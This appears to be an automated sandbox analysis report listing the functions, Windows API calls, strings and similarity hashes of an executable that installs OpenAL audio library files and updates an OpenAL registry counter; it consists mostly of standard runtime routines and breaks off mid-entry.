__encode_pointer.LIBCMT ref: 0040C0B6
__encode_pointer.LIBCMT ref: 0040C0C6
__encode_pointer.LIBCMT ref: 0040C0D6
__encode_pointer.LIBCMT ref: 0040C0E6
__decode_pointer.LIBCMT ref: 0040C107
__calloc_crt.LIBCMT ref: 0040C120
__decode_pointer.LIBCMT ref: 0040C13A
__initptd.LIBCMT ref: 0040C149
GetCurrentThreadId.KERNEL32 ref: 0040C150

Strings

FlsAlloc, xrefs: 0040C009
KERNEL32.DLL, xrefs: 0040BFE8
FlsSetValue, xrefs: 0040C01E
FlsFree, xrefs: 0040C02B
FlsGetValue, xrefs: 0040C011

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: 23b98212f503be026f0601b81fb1c7ffe20bc0d798b5b784e7352d6ed6e528ef
Instruction ID: 59a4ad3f0b3f685d19ea152b1a19b04b61803d8d2cd716d82de0acfcdf76031d
Opcode Fuzzy Hash: 23b98212f503be026f0601b81fb1c7ffe20bc0d798b5b784e7352d6ed6e528ef
Instruction Fuzzy Hash: F9317E31A84301DADB706FB6EC46A563AB4FB80724B54463FE810E66E1DB788842CF5C

Function 00401E30 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 120libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,?,?), ref: 00401E53
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00401E67
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00401E71
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00401E9E

Part of subcall function 00401B90: GetFileAttributesA.KERNEL32(?,7622F550,00000000,00000000,00000000,00401FB4,?,?,?,?,?,?), ref: 00401BA1
Part of subcall function 00401B90: DeleteFileA.KERNEL32(?,?,?,?,?), ref: 00401BAF
Part of subcall function 00401B90: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401BBD
Part of subcall function 00401B90: GetFileAttributesA.KERNEL32(?,?,?,?,?), ref: 00401BCA
Part of subcall function 00401B90: DeleteFileA.KERNEL32(?,?,?,?,?), ref: 00401BD2
Part of subcall function 00401B90: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401BE0

Strings

\OpenAL32.dll, xrefs: 00401EDA
\wrap_oal.dll, xrefs: 00401F21
kernel32.dll, xrefs: 00401E4A
Wow64DisableWow64FsRedirection, xrefs: 00401E61
Wow64RevertWow64FsRedirection, xrefs: 00401E69

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$AddressAttributesDeleteMoveProc$DirectoryLibraryLoadSystem
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$\OpenAL32.dll$\wrap_oal.dll$kernel32.dll
API String ID: 846545040-1200508522
Opcode ID: deb520e538833d41381a2aaab4113895c0760c1bc60673469388cc76cbaef4fa
Instruction ID: 799a44ab6ad154ffe1f1f4a908ef4a52d286063bbac76fe616d4bf70b04f941a
Opcode Fuzzy Hash: deb520e538833d41381a2aaab4113895c0760c1bc60673469388cc76cbaef4fa
Instruction Fuzzy Hash: 9741BF745042409FC324DB26DC55EE7BBE8EF89344F54856AF944833A2E778D809CBAA

Function 0040B927 Relevance: 15.1, APIs: 10, Instructions: 91COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0040B93D

Part of subcall function 0040E2AD: __calloc_impl.LIBCMT ref: 0040E2BB
Part of subcall function 0040E2AD: Sleep.KERNEL32(00000000), ref: 0040E2D2

__calloc_crt.LIBCMT ref: 0040B960
__calloc_crt.LIBCMT ref: 0040B97C
__copytlocinfo_nolock.LIBCMT ref: 0040B9A1
__setlocale_nolock.LIBCMT ref: 0040B9B0
___removelocaleref.LIBCMT ref: 0040B9BC
___freetlocinfo.LIBCMT ref: 0040B9C3
__setmbcp_nolock.LIBCMT ref: 0040B9DB
___removelocaleref.LIBCMT ref: 0040B9F0
___freetlocinfo.LIBCMT ref: 0040B9F7

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$Sleep__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2969281212-0
Opcode ID: 41246427e7d10f3c45822cef7ac4492c89d843b25dadd2ec0bed0922994ed8db
Instruction ID: 73759621703c4161321bd43ee9229d5b9e606aace9525d75d1e8fa27287ccb4b
Opcode Fuzzy Hash: 41246427e7d10f3c45822cef7ac4492c89d843b25dadd2ec0bed0922994ed8db
Instruction Fuzzy Hash: B321F3311086019BE721BF66E906A0BB7E1DF82718F20843FF585762D1EB3D8810DE9E

Function 00401530 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\OpenAL,00000000,0041E334,00000000,000F003F,00000000,?,00000000), ref: 00401554
RegQueryValueExA.ADVAPI32 ref: 00401581
RegSetValueExA.ADVAPI32(?,RefCount,00000000,00000004,?,00000004), ref: 004015B3
RegCloseKey.ADVAPI32(?), ref: 004015BE

Strings

RefCount, xrefs: 00401573, 004015AD
SOFTWARE\OpenAL, xrefs: 0040154A

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Value$CloseCreateQuery
String ID: RefCount$SOFTWARE\OpenAL
API String ID: 409396109-3018980265
Opcode ID: 47c7aba5376ba9909d028dc55995073f74ff0c983ff274569266358f1a1443a0
Instruction ID: e561cda602d0b3ab7524a572fb8ed4f4332f051e203c8565ccba9db581e2b545
Opcode Fuzzy Hash: 47c7aba5376ba9909d028dc55995073f74ff0c983ff274569266358f1a1443a0
Instruction Fuzzy Hash: E6014078244301BBE2109B51CC46FAAB7E8EB88B04F10481DFA95AA1D1D7B89444CB2F

Function 004014A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\OpenAL,00000000,0041E334,00000000,000F003F,00000000,?,00000000), ref: 004014C4
RegQueryValueExA.ADVAPI32 ref: 004014F1
RegSetValueExA.ADVAPI32(?,RefCount,00000000,00000004,00000004,00000004), ref: 0040151B
RegCloseKey.ADVAPI32(?), ref: 00401526

Strings

RefCount, xrefs: 004014E3, 00401515
SOFTWARE\OpenAL, xrefs: 004014BA

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Value$CloseCreateQuery
String ID: RefCount$SOFTWARE\OpenAL
API String ID: 409396109-3018980265
Opcode ID: 90f0b73d397e93e77a6cc8716b9a7c6e63f8949ecb61bab5b1374047a3904819
Instruction ID: e9147650d57df436d6cb426d3ec8ee5d014747b6414b578f528e7f63539c8a47
Opcode Fuzzy Hash: 90f0b73d397e93e77a6cc8716b9a7c6e63f8949ecb61bab5b1374047a3904819
Instruction Fuzzy Hash: 90014478344301BBE3149B55CC46FAAB7E8EB84B44F50881DFB85AA1D1D7F49444CB6E

Function 00401B90 Relevance: 9.0, APIs: 6, Instructions: 45fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,7622F550,00000000,00000000,00000000,00401FB4,?,?,?,?,?,?), ref: 00401BA1
DeleteFileA.KERNEL32(?,?,?,?,?), ref: 00401BAF
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401BBD
GetFileAttributesA.KERNEL32(?,?,?,?,?), ref: 00401BCA
DeleteFileA.KERNEL32(?,?,?,?,?), ref: 00401BD2
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401BE0

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$AttributesDeleteMove
String ID:
API String ID: 935184526-0
Opcode ID: f573a84747e83b7527886a549e20478cf9cfd7cffe293bf743d21e25084f58bf
Instruction ID: fe3d3c4bb0d58fbb4deb8bf543f47d6d281ddacc89a39f9e27b4ae8cdcf30f50
Opcode Fuzzy Hash: f573a84747e83b7527886a549e20478cf9cfd7cffe293bf743d21e25084f58bf
Instruction Fuzzy Hash: F7F0F6252425246BD2215A655C40EEB37AC9F56370B050132FA20F72E0E768F806977D

Function 00401BF0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 147COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00401C15

Strings

\OpenAL32.dll, xrefs: 00401C6A
\wrap_oal.dll, xrefs: 00401CE1
\ct_oal.dll, xrefs: 00401CAA
4cB, xrefs: 00401D7A

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: DirectorySystem
String ID: 4cB$\OpenAL32.dll$\ct_oal.dll$\wrap_oal.dll
API String ID: 2188284642-2372663231
Opcode ID: 271eefb7cc6e8116cb32bc8ae6064a944687a94259bb2a7e71b7d66f4ef13cd4
Instruction ID: 2b78dcc7aa62dca2d8bf437ecda126c936069d175137a607d20fd5d82f4c8fd4
Opcode Fuzzy Hash: 271eefb7cc6e8116cb32bc8ae6064a944687a94259bb2a7e71b7d66f4ef13cd4
Instruction Fuzzy Hash: 5C5128755082408FD724CB26D851BE7B7E4EF88318F48C97EF889473B2E2399508CB5A

Function 0040F8C1 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,?,004206E0,0000000C), ref: 0040F8F4
GetLastError.KERNEL32(?,?,004206E0,0000000C), ref: 0040F8FE
__dosmaperr.LIBCMT ref: 0040F905
__alloc_osfhnd.LIBCMT ref: 0040F926
__set_osfhnd.LIBCMT ref: 0040F950

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 3c1299688c114d84d80af3ff6dd20847b3a699ec9441acdfea2d6a0caeb0f195
Instruction ID: bd7cf888359a9ac3c7b5ccb74f1e477e3d051d689c205a1d192822ff3607c5d0
Opcode Fuzzy Hash: 3c1299688c114d84d80af3ff6dd20847b3a699ec9441acdfea2d6a0caeb0f195
Instruction Fuzzy Hash: 27217B70501204AEDB21AF75C8013DE7B50AF41324F28867BE864AF6D3CB3C9549DF49

Function 0040BF73 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 0040BF91
TlsGetValue.KERNEL32(?,?), ref: 0040BFA3
__decode_pointer.LIBCMT ref: 0040BFB8
__freefls@4.LIBCMT ref: 0040BFC1
TlsSetValue.KERNEL32(00000003,00000000), ref: 0040BFD4

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Value$__decode_pointer__freefls@4
String ID:
API String ID: 2321178363-0
Opcode ID: 77ccd557506cfae13b6d528909ac503bd64c4d97f58250347d144cf9bf38775d
Instruction ID: 61b0473ccaf9d40bb2cb9e1409a71fd5ada9e4ff021d864102f4959b6d1149c4
Opcode Fuzzy Hash: 77ccd557506cfae13b6d528909ac503bd64c4d97f58250347d144cf9bf38775d
Instruction Fuzzy Hash: 50F09031600102ABCA216B25EC82B1A7B73FB80721F940036F401E31B0CB7CA9139E8C

Function 004093D1 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004093F3
__calloc_crt.LIBCMT ref: 0040940C

Strings

h5B, xrefs: 00409445
@NB, xrefs: 00409423

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: __calloc_crt
String ID: @NB$h5B
API String ID: 3494438863-2641464009
Opcode ID: 68dea427e3ec7e8d79618ac7bb2c4fc3a1228ac64623b375de408f241beb07dd
Instruction ID: 8ca9c8c96296939d95c3c856370199db50dfd3887bb26e0f581a795b89466157
Opcode Fuzzy Hash: 68dea427e3ec7e8d79618ac7bb2c4fc3a1228ac64623b375de408f241beb07dd
Instruction Fuzzy Hash: A911E77130C2205BF7288E2EBC806766796F789728BA5453FFA05EA2E5D77C8C43494C

Function 00408E53 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00408E56

Part of subcall function 004075D6: __mtinitlocknum.LIBCMT ref: 004075EA
Part of subcall function 004075D6: __amsg_exit.LIBCMT ref: 004075F6
Part of subcall function 004075D6: EnterCriticalSection.KERNEL32(?,?,?,00407036,00000004,00420350,0000000C,0040E2C0,00000000,00000000,00000000,00000000,00000000,0040BDEB,00000001,00000214), ref: 004075FE

__decode_pointer.LIBCMT ref: 00408E61

Part of subcall function 0040BBFB: TlsGetValue.KERNEL32(76222EB0,00408EA5,00405F4B,?,?,0040245C,?,?,?,?,?,?,00001000), ref: 0040BC08
Part of subcall function 0040BBFB: TlsGetValue.KERNEL32(00000005,?,0040245C,?,?,?,?,?,?,00001000), ref: 0040BC1F

__encode_pointer.LIBCMT ref: 00408E6C

Part of subcall function 0040BB8F: TlsGetValue.KERNEL32(0040E167,0040E1E7,0040E167,00000014,00407590,00000000,00000FA0,00420370,0000000C,004075EF,?,?,?,00407036,00000004,00420350), ref: 0040BB9C
Part of subcall function 0040BB8F: TlsGetValue.KERNEL32(00000005,?,0040245C,?,?,?,?,?,?,00001000), ref: 0040BBB3

Part of subcall function 004074E6: LeaveCriticalSection.KERNEL32(?,00405DA3,00000004,00405D91,00420288,0000000C,004075B7,00000000,00420370,0000000C,004075EF,?,?,?,00407036,00000004), ref: 004074F3

Strings

eKG, xrefs: 00408E73

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Value$CriticalSection$EnterLeave__amsg_exit__decode_pointer__encode_pointer__lock__mtinitlocknum
String ID: eKG
API String ID: 3461603889-3022576717
Opcode ID: 558d92855b79be4df80479cd8dd2aa32850af62bab1ddd869a6844571a95cdfd
Instruction ID: 2e51220eff72dc7f53a4c3c95068a8124672906e6fcf24d9fbbc1c66b48c413f
Opcode Fuzzy Hash: 558d92855b79be4df80479cd8dd2aa32850af62bab1ddd869a6844571a95cdfd
Instruction Fuzzy Hash: 0ED0A7A1E0831157CA303B766C03E653920DB80354F00083AF614775D6DB39580192CE

Function 0040FF3F Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040FF6F
__isleadbyte_l.LIBCMT ref: 0040FFA3
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,?,?,?,00409867,?,?,00000002), ref: 0040FFD4
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,?,?,?,00409867,?,?,00000002), ref: 00410042

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: bfa11b7dc7586bd7aee0d49a2988fb181ddf2b82d9fdaee56a2c1623d48e8ba8
Instruction ID: 5f453064e11d7b3ee95064cfa74e98dfea98780c26c5651a7f39d892a9ffb14e
Opcode Fuzzy Hash: bfa11b7dc7586bd7aee0d49a2988fb181ddf2b82d9fdaee56a2c1623d48e8ba8
Instruction Fuzzy Hash: FF31E031A00247EFDB20CF64D880EAA7BA4EF06314F18857BF451AB6D1D734D985DB59

Function 0040A575 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040BE39: __getptd_noexit.LIBCMT ref: 0040BE3A
Part of subcall function 0040BE39: __amsg_exit.LIBCMT ref: 0040BE47

__amsg_exit.LIBCMT ref: 0040A5A1
__lock.LIBCMT ref: 0040A5B1
InterlockedDecrement.KERNEL32(?), ref: 0040A5CE
InterlockedIncrement.KERNEL32(00AB1380), ref: 0040A5F9

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: deaa47bd6862fec1da3f0a0f80b48c7ac14372f25a9be07e9442ee3f538236f6
Instruction ID: e430e698a053abdf6dd26f9f85e46f86e7aa19cca503de453f3f0aef7a299230
Opcode Fuzzy Hash: deaa47bd6862fec1da3f0a0f80b48c7ac14372f25a9be07e9442ee3f538236f6
Instruction Fuzzy Hash: A5015E32A01721BBDA21AF66980975E7760BF04725F45403BE840B77C1CB3CAA528BDE

Function 00405E24 Relevance: 6.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00405E2C

